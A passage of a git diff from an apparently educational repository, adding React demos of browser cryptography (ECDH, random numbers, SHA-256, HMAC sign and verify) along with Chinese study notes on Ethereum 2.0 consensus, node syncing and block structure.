+                            Generate Alice Public Key
+                        </Button>
+                    </Form.Item>
+                </Col>
+
+                <Col span={4}>
+                    <Form.Item>
+                        <Button type="primary" onClick={() => {
+                            setBobPublicKey(bob.getPublicKey());
+                        }}>
+                            Generate Bob Public Key
+                        </Button>
+                    </Form.Item>
+                </Col>
+
+                <Col span={4}>
+                    <Form.Item>
+                        <Button type="primary" onClick={() => {
+                            //Compute common key
+                            var alice_secret = alice.computeSecret(bob.getPublicKey(), null, 'hex');
+                            var bob_secret = bob.computeSecret(alice.getPublicKey(), null, 'hex');
+                            setVerifyResult(alice_secret == bob_secret)
+                        }}>
+                            Compute And Veirfy Common Key
+                        </Button>
+                    </Form.Item>
+                </Col>
+            </Row>
+
+        </div>
+    );
+}
diff --git a/basic/44-javascript-cryptography/react-app/src/components/Header.jsx b/basic/44-javascript-cryptography/react-app/src/components/Header.jsx
new file mode 100644
index 000000000..dd3ddb6e1
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/src/components/Header.jsx
@@ -0,0 +1,16 @@
+import { PageHeader } from "antd";
+import React from "react";
+
+// displays a page header
+
+export default function Header() {
+  return (
+    <a href="https://github.com/Dapp-Learning-DAO/Dapp-Learning" target="_blank" rel="noopener noreferrer">
+      <PageHeader
+        title="Dapp-Learning"
+        subTitle="🖼 Cryptography Show"
+        style={{ cursor: "pointer" }}
+      />
+    </a>
+  );
+}
diff --git a/basic/44-javascript-cryptography/react-app/src/components/RandomNumber.jsx b/basic/44-javascript-cryptography/react-app/src/components/RandomNumber.jsx
new file mode 100644
index 000000000..bfc1ff580
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/src/components/RandomNumber.jsx
@@ -0,0 +1,34 @@
+// displays a page header
+import { Menu, Row, Col } from "antd";
+import { Form, Input, Button, Radio } from 'antd';
+import React, { useState } from "react";
+
+export default function RandomNumber() {
+
+    const [plainText, setPlainText] = useState();
+
+    return (
+        <div>
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={8}>
+                    <Input placeholder="" value={plainText} disabled />
+                </Col>
+            </Row>
+
+                <Col span={32}>
+                    <Form.Item>
+                        <Button type="primary" onClick={() => {
+                            //This will decrypt Cipheretext to plaintext
+                            const secure = window.crypto.getRandomValues(new Uint8Array(10));
+                            var uint8array = new TextEncoder().encode(secure);
+                            var string = new TextDecoder().decode(uint8array);
+                            setPlainText(string);
+                        }}>
+                            Generate Random Number
+                        </Button>
+                    </Form.Item>
+                </Col>
+           
+        </div>
+    );
+}
diff --git a/basic/44-javascript-cryptography/react-app/src/components/SHA256.jsx b/basic/44-javascript-cryptography/react-app/src/components/SHA256.jsx
new file mode 100644
index 000000000..c53d63c4b
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/src/components/SHA256.jsx
@@ -0,0 +1,53 @@
+// displays a page header
+import { Menu, Row, Col } from "antd";
+import { Form, Input, Button, Radio } from 'antd';
+import React, { useState } from "react";
+
+async function digestMessage(message,setHashMessage) {
+    const encode = new TextEncoder().encode(message); // encode as (utf-8) Uint8Array
+    const hashBuffer = await window.crypto.subtle.digest("SHA-256", encode); // hash the message
+    const hashArray = Array.from(new Uint8Array(hashBuffer)); // convert buffer to byte array
+    const hashHex = hashArray
+      .map((b) => b.toString(16).padStart(2, "0"))
+      .join(""); // convert bytes to hex string
+      setHashMessage(hashHex);
+  }
+
+export default function SHA256() {
+
+    const [plainText, setPlainText] = useState();
+
+    const [hashMessage, setHashMessage] = useState();
+
+    return (
+        <div>
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={8}>
+                    <Form.Item label="Message" tooltip="Please input message">
+                        <Input placeholder="Simple message" value={plainText} onChange={(event) => {
+                            setPlainText(event.target.value);
+                            console.log(plainText);
+                        }} />
+                    </Form.Item>
+                </Col>
+            </Row>
+
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={8}>
+                    <Input placeholder="" value={hashMessage} disabled />
+                </Col>
+            </Row>
+
+                <Col span={32}>
+                    <Form.Item>
+                        <Button type="primary" onClick={() => {
+                            digestMessage(plainText,setHashMessage);
+                        }}>
+                            Hashing the message
+                        </Button>
+                    </Form.Item>
+                </Col>
+           
+        </div>
+    );
+}
diff --git a/basic/44-javascript-cryptography/react-app/src/components/SignAndVerify.jsx b/basic/44-javascript-cryptography/react-app/src/components/SignAndVerify.jsx
new file mode 100644
index 000000000..c3ca8ef6f
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/src/components/SignAndVerify.jsx
@@ -0,0 +1,110 @@
+// displays a page header
+import { Menu, Row, Col } from "antd";
+import { Form, Input, Button, Radio } from 'antd';
+import React, { useState } from "react";
+
+async function getMac(message, key, setSignMessage) {
+    const encoder = new TextEncoder();
+    const data = encoder.encode(message);
+    mac = await crypto.subtle.sign("HMAC", key, data);
+    setSignMessage(arrayBufferToString(mac));
+}
+
+async function verifyMac(message, key, mac, setVerifyresult) {
+    const encoder = new TextEncoder();
+    const data = encoder.encode(message);
+    setVerifyresult(await crypto.subtle.verify("HMAC", key, mac, data));
+}
+
+async function generateKey() {
+    key = await crypto.subtle.generateKey(
+        {
+            name: "HMAC",
+            hash: { name: "SHA-256" } //可以是 "SHA-1", "SHA-256", "SHA-384", 或 "SHA-512"
+        },
+        true, // 是否可提取，比如用于导入导出
+        ["sign", "verify"] // 用途
+    );
+}
+
+function arrayBufferToString(buf) {
+    return String.fromCharCode.apply(null, new Uint16Array(buf));
+}
+
+var key;
+var mac;
+
+
+export default function SignAndVerify() {
+
+    const [message, setMessage] = useState();
+
+    const [signMessage, setSignMessage] = useState();
+
+    const [verifyresult, setVerifyresult] = useState();
+
+    return (
+        <div>
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={8}>
+                    <Form.Item label="Message" tooltip="Please input message">
+                        <Input placeholder="Simple message" value={message} onChange={(event) => {
+                            setMessage(event.target.value);
+                        }} />
+                    </Form.Item>
+                </Col>
+            </Row>
+
+
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={8}>
+                    <Form.Item label="Signed Message" >
+                        <Input placeholder="" value={signMessage} disabled />
+                    </Form.Item>
+                </Col>
+            </Row>
+
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={8}>
+                    <Form.Item label="Verify Result" >
+                        <Input placeholder="" value={verifyresult} disabled />
+                    </Form.Item>
+                </Col>
+            </Row>
+
+
+            <Row style={{ justifyContent: "center", padding: '20px 0' }}>
+                <Col span={2}>
+                    <Form.Item>
+                        <Button type="primary" onClick={() => {
+                            generateKey();
+                        }}>
+                            Generate Key
+                        </Button>
+                    </Form.Item>
+                </Col>
+
+                <Col span={2}>
+                    <Form.Item>
+                        <Button type="primary" onClick={() => {
+                            getMac(message, key, setSignMessage)
+                        }}>
+                            Sign Message
+                        </Button>
+                    </Form.Item>
+                </Col>
+
+                <Col span={2}>
+                    <Form.Item>
+                        <Button type="primary" onClick={() => {
+                            verifyMac(message, key, mac, setVerifyresult)
+                        }}>
+                            Verify Result
+                        </Button>
+                    </Form.Item>
+                </Col>
+            </Row>
+
+        </div>
+    );
+}
diff --git a/basic/44-javascript-cryptography/react-app/src/components/index.js b/basic/44-javascript-cryptography/react-app/src/components/index.js
new file mode 100644
index 000000000..46cdcbc07
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/src/components/index.js
@@ -0,0 +1,6 @@
+export { default as Header } from "./Header";
+export { default as AESGCM } from "./AESGCM";
+export { default as RandomNumber } from "./RandomNumber";
+export { default as SHA256 } from "./SHA256";
+export { default as SignAndVerify } from "./SignAndVerify";
+export { default as ECDH } from "./ECDH";
\ No newline at end of file
diff --git a/basic/44-javascript-cryptography/react-app/src/index.css b/basic/44-javascript-cryptography/react-app/src/index.css
new file mode 100644
index 000000000..ec2585e8c
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/src/index.css
@@ -0,0 +1,13 @@
+body {
+  margin: 0;
+  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',
+    'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
+    sans-serif;
+  -webkit-font-smoothing: antialiased;
+  -moz-osx-font-smoothing: grayscale;
+}
+
+code {
+  font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New',
+    monospace;
+}
diff --git a/basic/44-javascript-cryptography/react-app/src/index.js b/basic/44-javascript-cryptography/react-app/src/index.js
new file mode 100644
index 000000000..ef2edf8ea
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/src/index.js
@@ -0,0 +1,17 @@
+import React from 'react';
+import ReactDOM from 'react-dom';
+import './index.css';
+import App from './App';
+import reportWebVitals from './reportWebVitals';
+
+ReactDOM.render(
+  <React.StrictMode>
+    <App />
+  </React.StrictMode>,
+  document.getElementById('root')
+);
+
+// If you want to start measuring performance in your app, pass a function
+// to log results (for example: reportWebVitals(console.log))
+// or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals
+reportWebVitals();
diff --git a/basic/44-javascript-cryptography/react-app/src/reportWebVitals.js b/basic/44-javascript-cryptography/react-app/src/reportWebVitals.js
new file mode 100644
index 000000000..5253d3ad9
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/src/reportWebVitals.js
@@ -0,0 +1,13 @@
+const reportWebVitals = onPerfEntry => {
+  if (onPerfEntry && onPerfEntry instanceof Function) {
+    import('web-vitals').then(({ getCLS, getFID, getFCP, getLCP, getTTFB }) => {
+      getCLS(onPerfEntry);
+      getFID(onPerfEntry);
+      getFCP(onPerfEntry);
+      getLCP(onPerfEntry);
+      getTTFB(onPerfEntry);
+    });
+  }
+};
+
+export default reportWebVitals;
diff --git a/basic/44-javascript-cryptography/react-app/src/setupTests.js b/basic/44-javascript-cryptography/react-app/src/setupTests.js
new file mode 100644
index 000000000..8f2609b7b
--- /dev/null
+++ b/basic/44-javascript-cryptography/react-app/src/setupTests.js
@@ -0,0 +1,5 @@
+// jest-dom adds custom jest matchers for asserting on DOM nodes.
+// allows you to do things like:
+// expect(element).toHaveTextContent(/react/i)
+// learn more: https://github.com/testing-library/jest-dom
+import '@testing-library/jest-dom';
diff --git a/basic/44-javascript-cryptography/readme.md b/basic/44-javascript-cryptography/readme.md
new file mode 100644
index 000000000..b6b54f83c
--- /dev/null
+++ b/basic/44-javascript-cryptography/readme.md
@@ -0,0 +1,68 @@
+## 介绍
+
+JavaScript 在互联网安全应用中扮演着极其重要的作用, 网页信息的发送, 交互中都使用了 JavaScript 进行加密解密.  
+本 Task 通过页面和文档的方式展示了如何使用 JavaScript 进行加密解密, 希望通过这些展示使各位开发者了解 JavaScript 密码库的使用.  
+内容选自 Medium 上面的文章, 详细介绍请参考 [中文译文](./Doc-Chinese.md)
+
+## 操作步骤
+
+- 安装依赖
+
+```bash
+yarn
+```
+
+- 启动前端
+
+```bash
+yarn start
+```
+
+- 随机数生成验证
+
+> 点击 RandomNumber 标签页, 然后点击 "Generate Random Number" 按钮, 就可以看到生成的随机数
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/44-javascript-cryptography/RandomNumber.png?raw=true" /></center>
+
+- AES-GCM 算法  
+  点击 AES-GCM 标签页
+
+> 1) 在 "Plain Text" 输入框中输入原始信息
+> 2) 点击 "Encrypt"
+> 3) 点击 "Decrypt"
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/44-javascript-cryptography/AES-GCM.png?raw=true" /></center>
+
+- SHA-256  
+  点击 SHA-256 标签页
+
+> 1) 在 "Message" 输入框中输入原始信息
+> 2) 点击 "Hashing the message"
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/44-javascript-cryptography/SHA-256.png?raw=true" /></center>
+
+- Sign && Verify  
+  点击 SignAndVeryify 标签页
+
+> 1) 在 "Message" 输入框中输入原始信息
+> 2) 点击 "Generate Key"
+> 3) 点击 "Sign Message"
+> 4) 点击 "Verify Result"
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/44-javascript-cryptography/SignAndVerify.png?raw=true" /></center>
+
+- ECDH  
+  点击 ECDH 标签页
+
+> 1) 点击 "Generate Alice Public Key"
+> 2) 点击 "Generate Bob Public Key"
+> 3) 点击 "Compute And Verify Key"
+
+<center><img src="https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/blob/main/images/basic/44-javascript-cryptography/ECDH.png?raw=true" /></center>
+
+## 参考文档
+
+- Medium 原文: https://blog.sessionstack.com/how-javascript-works-cryptography-how-to-deal-with-man-in-the-middle-mitm-attacks-bf8fc6be546c
+- Web Crypto API 样例: https://roubin.me/web-crypto-api-introduction/
+- ECDH 使用: https://itbilu.com/nodejs/core/41iXzVot.html
+- SubtleCrypto.encrypt 用法介绍: https://developer.mozilla.org/zh-CN/docs/Web/API/SubtleCrypto/encrypt
diff --git a/basic/45-Ethereum-2.0/EPS.md b/basic/45-Ethereum-2.0/EPS.md
new file mode 100644
index 000000000..31178584e
--- /dev/null
+++ b/basic/45-Ethereum-2.0/EPS.md
@@ -0,0 +1,31 @@
+# Ethereum共学
+Ethereum Protocol Fellowship 
+
+github: https://github.com/eth-protocol-fellows/protocol-studies/blob/main/docs/eps/intro.md
+youtube:   https://www.youtube.com/@ethprotocolfellows
+
+共学：
+github: https://github.com/eth-protocol-fellows/protocol-studies/blob/main/docs/eps/presentations/week1_protocol_intro.pdf
+
+
+中文共学小组：https://mp.weixin.qq.com/s?__biz=Mzg4MDkxMDAyNg==&mid=2247485219&idx=1&sn=e652de538041c1f8e29e23d97c277b67&chksm=cf6f4c86f818c590af100b1b0a2d15c081fc1981294d612cdb7063741295259eb46e786aa960&cur_album_id=3344823533355139073&scene=189#wechat_redirect 
+
+## 共识
+https://ethos.dev/beacon-chain
+
+### PBFT： https://medium.com/taipei-ethereum-meetup/intro-to-pbft-31187f255e68
+Pre-prepare
+Prepare
+Commit
+容错 2f+1
+
+问题：许可制，缺乏参与诱因，缺乏远程攻击的抗性，过高的通讯成本。
+PBFT可以作为权益证明的共识模型。
+
+VDF：
+https://inevitableeth.com/home/ethereum/upgrades/consensus-updates/vdf
+
+VRF:
+https://medium.com/zvchain/zvchain-focus-on-defi-application-scenarios-based-on-vrf-bls-algorithm-4994a82f264d
+
+
diff --git a/basic/45-Ethereum-2.0/code.md b/basic/45-Ethereum-2.0/code.md
new file mode 100644
index 000000000..efefa5de8
--- /dev/null
+++ b/basic/45-Ethereum-2.0/code.md
@@ -0,0 +1,37 @@
+
+# 源码解析：
+以太坊中的MPT
+以太坊中的所有的merkle树都是指Merkle Patricia Tree。
+
+从区块头中可以看到有3棵MPT的根。
+
+stateRoot
+transcationsRoot
+receiptsRoot
+
+## State树
+State树是一棵全局的树，它的key是sha3(ethereumAddress),即账户地址的hash值。其存储的值value为rlp(ethereumAccount)，即账户信息的rlp编码。其中账户信息是一个[nonce,balance,storageRoot,codeHash]的四元组，其中storageRoot指向账户的Storage树。
+
+## Storage树
+一般的外部账户Storage为空，而合约账户通常会储存一定的数据，这些数据就是存储在合约账户的Storage树中，storage树中的key与账户地址和其中实际存储的key有关，其value值为合约定义的value值。
+
+## Transactions树
+每一个区块都会有一棵Transactions树，其key为rlp(transactionIndex)(交易在区块中的编号，0，1…),其value值为经过rlp编码的交易。在实际情况中该树并不会真的存储到数据库中，只是在生成block以及校验block的时候用于得到当前区块的TransactionsRoot。
+
+## Receipts树
+每一个区块都会有一棵Receipts树树，其key为rlp(transactionIndex)(交易在区块中的编号，0，1…),其value值为经过rlp编码的交易收据。在实际情况中该树并不会真的存储到数据库中，只是在生成block以及校验block的时候用于得到当前区块的ReceiptsRoot。
+
+
+
+
+## Trace
+5中trace API 
+- Trace Transaction: 了解交易详情（gas used, outputs, why it failed, etc）
+- Trace Block： 了解一个block的所有交易
+- Trace Call： Trace Call 类似于Trace Transaction， 但是返回任何状态diff
+- Trace Call Many： traces multiple calls at once.
+
+https://geth.ethereum.org/docs/developers/evm-tracing/built-in-tracers
+
+## 参考链接：
+以太坊技术与实现：https://learnblockchain.cn/books/geth/part3/statedb.html
\ No newline at end of file
diff --git a/basic/45-Ethereum-2.0/images/eth2-block.png b/basic/45-Ethereum-2.0/images/eth2-block.png
new file mode 100644
index 000000000..778274bfb
Binary files /dev/null and b/basic/45-Ethereum-2.0/images/eth2-block.png differ
diff --git a/basic/45-Ethereum-2.0/images/eth2-node.png b/basic/45-Ethereum-2.0/images/eth2-node.png
new file mode 100644
index 000000000..0c861d0cf
Binary files /dev/null and b/basic/45-Ethereum-2.0/images/eth2-node.png differ
diff --git a/basic/45-Ethereum-2.0/mpt.md b/basic/45-Ethereum-2.0/mpt.md
new file mode 100644
index 000000000..5961c876c
--- /dev/null
+++ b/basic/45-Ethereum-2.0/mpt.md
@@ -0,0 +1,5 @@
+https://easythereentropy.wordpress.com/2014/06/04/understanding-the-ethereum-trie/
+
+https://github.com/ebuchman/understanding_ethereum_trie/blob/master/exercises/ex1.py
+
+https://consensys.io/blog/bonsai-tries-guide
diff --git a/basic/45-Ethereum-2.0/node.md b/basic/45-Ethereum-2.0/node.md
new file mode 100644
index 000000000..61e098121
--- /dev/null
+++ b/basic/45-Ethereum-2.0/node.md
@@ -0,0 +1,98 @@
+## Run your own Ethereum Validator:
+
+### EPF
+
+系统课程： https://www.youtube.com/watch?v=nrwKxyBIYYk
+
+https://medium.com/coinmonks/run-your-own-ethereum-validator-part-1-pbft-casper-ffg-casper-cbc-and-lmd-ghost-e68e8461acf8
+
+https://eth2book.info/
+
+## 节点同步
+
+Full node ， archive node
+
+### Full node
+
+同步方式有
+
+1. snap sync: 从最近的特定区块开始同步（checkpoint）， 保留最近的128个区块在内存中。
+
+snap sync 先下载区块头，验证通过后，下载区块体和收据。同时，进行state-sync， geth先下载每个区块的state trie的叶子节点，然后本地自己生成完整的state trie.
+用eth.syncing 检查是否同步完成。
+
+- download and verify headers
+- download block bodies and receipts. In parallel, download raw state data and build state trie
+- heal state trie to account for newly arriving data
+
+--syncmode 默认是snap
+
+2. FUll sync:  
+   full sync 逐个区块的同步，并从创世区块开始执行每个区块的交易，并生成状态。 也只保留128个区块状态。 约25分钟。其他block state会被pruned periddically.
+
+### Archive node
+
+适合用来查历史数据， 会保留所有区块的历史状态。 无需从checkpoint同步。
+通过配置geth的垃圾回收， 历史数据就不会被删除。
+geth --syncmode full --gcmode archive.
+
+## 共识客户端
+
+eth2.0 ，区块下载是由 共识客户端负责，验证由执行客户端负责。
+共识客户端有两个同步方式：
+optimistic syncing 和 checkpoint syncing
+
+### optimistic syncing
+
+在执行端验证之前就下载区块。 不能参与出块
+
+### checkpoint sync
+
+从https://eth-clients.github.io/checkpoint-sync-endpoints/ 下载checkpoint。
+
+## Databases
+
+since V1.9.0 , geth将 database分成两个部分。 Recent blocks 和state data 存储在 quick- access storage.
+
+旧数据 和收据 stored in Freezer database。
+
+### Recent blocks
+
+存贮在leverdb。 主要是SSD存储
+
+### Freezer/ ancients
+
+Older segments of the chain are moved out of the LevelDB database and into a freezer database. 主要存在HDD。
+
+the ancient chain segments is inside the chaindata directory
+
+## Pruning
+
+修剪操作依赖于状态数据库的“快照”（snapshots）来判断状态树（state trie）中哪些节点是“有用的”可以保留，哪些是“过时的”可以被删除。快照就像一个参照点，用来对比哪些数据仍然有效。
+
+Geth 的修剪过程分为 三个阶段：
+第一步是“遍历快照状态”：Geth 会遍历最底层的快照，并用 布隆过滤器（Bloom Filter） 构建一个集合，这个集合用来快速判断哪些状态树节点是属于目标状态树的。
+
+第二步是“修剪状态数据”：Geth 会删除那些 不在布隆过滤器集合中的状态树节点，也就是不再需要的旧数据。
+
+第三步是“压缩数据库”：修剪后会有很多空闲空间，Geth 会对数据库进行整理以释放出这些空间。
+
+## TXPOOL
+
+pending： 有效的交易
+Queued: 未来的交易,nonce更多的
+
+主要有以下几个方法：
+
+- txpool_content  
+  返回pending 和queued的交易
+- txpool_contentFrom  
+  返回特定地址的交易
+- txpool_inspect
+  比content的方法内容更详细
+- txpool_status
+  返回pending和queue的数量
+
+  ### MEV BOT
+
+  https://medium.com/@solidquant/how-i-spend-my-days-mempool-watching-part-1-transaction-prediction-through-evm-tracing-77f4c99207f
diff --git a/basic/45-Ethereum-2.0/readme.md b/basic/45-Ethereum-2.0/readme.md
new file mode 100644
index 000000000..2b0ce366d
--- /dev/null
+++ b/basic/45-Ethereum-2.0/readme.md
@@ -0,0 +1,343 @@
+# Ethereum2.0
+
+## Introduction
+
+Ethereum 2.0，即 Ethereum 的升级版，其主要目的主要有两个：
+
+1. 降低能源消耗，即共识从 PoW 转为 PoS；
+2. 扩容，也称为分片（sharding），即提高 Ethereum 的 TPS（Transactions Per Second）。
+
+为实现这两个目的，分三个阶段：
+
+- The Beacon Chain
+- The Merge
+- Sharding
+
+目前（2022-09-20），已经进入到第二阶段，其中 The Merge
+完成了第一个目标，第二个目标在第三阶段 sharding 中实现，
+预计是在 2023 年完成。
+
+## The Beacon Chain
+
+The Beacon Chain 于 2020 年 12 月 01 日上线，简单的来说就是
+Ethereum 2.0 的先行网，PoW 转 PoS 以及 sharding 都先在
+Beacon Chain 上测试，最终于 2022 年 09 月 15 日和 Ethereum
+主网合并，即 The Merge。
+
+## The Merge
+
+北京时间 2022 年 09 月 15 日下午 03:00，Ethereum 合并成功，
+即 Beacon Chain 和之前的 PoW 的 Ethereum 合并成功，Ethereum
+正式从 PoW 转为了 PoS。这就是 The Merge 的带来的改变，Ethereum
+不再需要消耗比较多的的能源来进行挖矿了，由 PoW 共识转为了 PoS 共识，
+大概减少了 99.95% 的能源消耗。
+
+这次升级，除了降低了挖矿的能源消耗，还带来了以下两个改变：
+1. ETH token 开始进入通缩
+2. 节点架构改变
+
+### ETH 通缩
+
+在 The Merge 前，每天 PoW（Ethereum Mainnet）上大概可以挖出
+13,000 ETH，PoS（Beacon Chain）大概可以挖出 1,600 ETH。
+Merge 之后，PoW 去除，只保留了 PoS 上的奖励，即每天 ETH 的新
+增量变为原来的 $\frac{1600}{13000 + 16000} \approx 10.96\%$，
+减少了 $\frac{13000}{13000 + 16000} \approx 89.04\%$。
+而 London Upgrade 之后，即 [EIP-1159][eip-1159] 之后，每个 tx
+都会销毁一定数量的 ETH。假设 gas 的平均价格最低为 16 gwei，那么
+一天销毁的 gas 会大于或等于 1,600 ETH，即每天销毁的 ETH 会大于或
+等于新增的 ETH。所以 The Merge 之后 ETH 会进入通缩的阶段，如果
+gas 的平均价格超过 16 gwei 的话，那么 ETH 的通缩就会加速。
+
+> P.S 通过 https://ultrasound.money/#burn 的数据来看，在 gas
+> 的平均价格为 11 gwei 时，每分钟会销毁大概 0.80 ETH，即一天大概
+> 会销毁 0.80 * 60 * 24 = 1,152 ETH。如果 gas 的平均价格为 16
+> gwei 的话，则 ETH 一天的销毁量大概为：1,152 * (16 / 11) = 1,675。
+
+[eip-1159]: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1559.md
+
+具体详细的数据都可以在 https://ultrasound.money 这个网站上查看。
+
+### 节点架构改变
+
+#### 客户端
+执行层客户端及其采用的编程语言：
+
+@go_ethereum(Go), @NethermindEth(C#), @HyperledgerBesu(Java), @ErigonEth(Go),  reth - alpha 阶段 (Rust), silkwarm - pre-alpha 阶段 (C++), ethereumjs - alpha 阶段 (TypeScript)
+
+共识层客户端及其采用的编程语言：
+
+@prylabs(go), lighthouse@sigp_io(Rust), @Teku_Consensys(Java), @ethnimbus(Nim), @lodestar_eth(TypeScript)
+
+
+因为共识机制的改变，所以节点架构也就不得不变了。The Merge 前
+只需要执行一个程序，就能进行挖矿。The Merge 后需要执行两个程序：
+一个执行层，一个共识层。其中执行层的是原有的 PoW 的软件的，用来
+执行验证 tx，共识层是新增的，用来出块的。如下图：
+
+![eth2-node.png](./images/eth2-node.png)
+
+以下是对应的节点的软件：
+- 执行层：
+  - [Besu](https://github.com/hyperledger/besu/releases)
+  - [Erigon](https://github.com/ledgerwatch/erigon#usage)
+  - [Geth](https://geth.ethereum.org/downloads/)
+  - [Nethermind](https://downloads.nethermind.io/)
+- 共识层：
+  - [Lighthouse](https://github.com/sigp/lighthouse/releases/latest)
+  - [Lodestar](https://chainsafe.github.io/lodestar/install/source/)
+  - [Nimbus](https://github.com/status-im/nimbus-eth2/releases/latest)
+  - [Prysm](https://github.com/prysmaticlabs/prysm/releases/latest)
+  - [Teku](https://github.com/ConsenSys/teku/releases)
+
+各个软件的使用占比参考：https://clientdiversity.org/#distribution
+
+> **NOTE**：如果自己不想跑节点的话，可以直接使用第三方的节点，比较知名的有三个：
+> [Infura][infura]，[Alchemy][alchemy] 和 [QuickNode][quicknode]。其中
+> Infura 支持主网和所有的测试网，但 Alchemy 只支持主网和 Goerli 测试网。更多
+> 三方的节点供应商可到 https://ethereumnodes.com/ 查看。
+>
+> 如果想自己跑节点的话，现在也有集成的环境，[DappNode][dapp-node] 和 [Avado][avado]。
+> 其中 DappNode 可以自己安装，也可以直接购买预装好的硬件，Avado 是软硬件一体
+> 化，只能购买，不能自己安装配置。
+
+[infura]: https://infura.io/
+[alchemy]: https://www.alchemy.com/
+[quicknode]: https://www.quiknode.io/
+[dapp-node]: https://github.com/dappnode/DAppNode
+[avado]: https://ava.do/
+
+### 开发者须知
+
+既然共识变了，block 也会做出对应的改变。The Merge 后区块主要有三个
+变化：block 结构，OPCODE 和 区块的出块时间与状态
+
+#### Block 结构
+
+The Merge 后，区块结构变得更复杂了，增加了以共识层的一些字段，同时
+对于原有的共识层（现在的执行层）的一些字段做了一些改变。下图是 The
+Merge 之后一个区块的结构图：
+
+![eth2-block.png](./images/eth2-block.png)
+
+在 PoW 的共识中，是有一定的概率出现叔块（ommer/uncle block）的，
+所以之前的区块结构中会有 ommer block 的相关字段。但是在 PoS 中，
+出块是确定的，不可能出现 ommer block，因此 The Merge 之后区块
+执行层生成的区块的中 `ommers` 为空数组 `[]`，封装成 tx 就是：
+`RLP([]) = 0xc0`，即 `ommers` 字段的值为 `0xc0`。因此
+`ommersHash` 的值为 `0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347`
+（`Keccak256(RLP([]))`）。
+
+同时，PoW 中最关键的两个字段 `difficulty` 和 `nonce` 也都设置
+为零，即 `difficulty` 的值为 0，`nonce` 的值为
+`0x0000000000000000`（`nonce` 类型为`uint64`，8 bytes）。
+汇总起来如下表：
+
+| FIELD | CONSTANT VALUE | COMMENT |
+| :--   | :---- | :---- |
+| `ommers` | `[]`/ `0xc0` | `RPL([]) = 0xc0` |
+| `ommersHash` | `0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347` | `= Keccak256(RLP([]))` |
+| `difficulty` | `0` | |
+| `nonce` | `0x0000000000000000` | |
+
+又因为出块由共识层出，所以在 PoW 中用来验证是否具有出块权的
+`mixHash` 字段用来存储上一个出块者选出的这一轮的出块者，
+用来证明自己有出块权，并命名为 `prevRandao`。`prevRandao`
+是根据 slot number 算出来的随机数。具体的可参见：
+[EIP-4399][eip-4399] 及其讨论
+[EIP-4399: Supplant DIFFICULTY opcode with RANDOM][eip-4399-discuss]
+和 [EIP-4788][eip-4788]。
+
+**注**：Ethereum 2.0 中 slot 可对应 1.0 中的 block，但
+严格来说 slot 是 block 的超集，因为 slot 可以包含 block，
+也可以没有 block。32 Slots = 1 Epoch，这是在为后续的
+sharding 做准备。
+
+[eip-4399]: https://eips.ethereum.org/EIPS/eip-4399
+[eip-4399-discuss]: https://ethereum-magicians.org/t/eip-4399-supplant-difficulty-opcode-with-random/7368
+[eip-4788]: https://ethereum-magicians.org/t/eip-4788-beacon-state-root-in-evm/8281
+
+#### OPCODEs
+
+The Merge 只改动了两个 OPCODE：
+
+- `BLOCKHASH(0x40)`：准备弃用，虽然还可以正常执行，但是其安全程度
+  变得很低，因为不是由 PoW 来算 Hash 了。
+
+- `DIFFICULTY(0x44)`：改名为 `PREVRANDAO`，可以用来获取随机数。
+
+#### Block Time and states
+
+因为 PoS 出块时就是由一个质押者（Staker）来出，所以时间 PoW 的更
+具有确定性，PoS 每 12s 出一个块，PoW 是平均 13s 出一个块。
+
+同时 PoS 中没有 PoW 的 confirm 状态，而是将区块分为四中：
+
+- head，就是刚出的块，状态为 `unfinalized`
+- safe head，出块一段时间后，有超过 2/3 的验证者验证过，状态为 `safe`
+- confirmed，由 `safe` 状态转为 `finalized` 过渡类型，在被其他的节点
+  添加到链上
+- finalized，有超过 2/3 的验证者将这个区块添加到链上，状态变为 `finalized`
+
+状态为 `finalized` 的区块被视为可信任区块，即对应 PoW 中的 `confirmed`
+的区块。
+
+### 常见误区
+
+- Ethereum 2.0 的 token 为 ETH2：错。不论是 PoW 的 Ethereum 和 PoS 的
+  Ethereum，其 token 都是 ETH，从来都没有 ETH2 的 token，ETHW 也不是
+  Ethereum 之前的 token，而是有人在 The Merge 时进行分叉，利用大量矿工
+  手里的显卡。在术语中，eth1 指代的是 Ethereum 中的执行层（execution layer），
+  eth2 指代的是 Ethereum 中的共识层（consensus layer）。
+
+- 运行一个节点需要质押 32 ETH：错。不质押 ETH 也可以运行一个节点，只是没有出块权。
+
+- The Merge 降低了 gas fee：错。The Merge 是共识的替换，并没有降低 gas fee。
+
+- The Merge 提高了 TPS：错。The Merge 后 Ethereum 的 TPS 并没有显著的提高，
+  出块的速度只是从原来的平均 13s 一个块到每 12s 一个块。提高 TPS 是 sharding
+  的目标，而不是 The Merge 的目标。
+
+- The Merge enabled staking withdrawal：错。取消质押需要等 Shanghai Upgrade
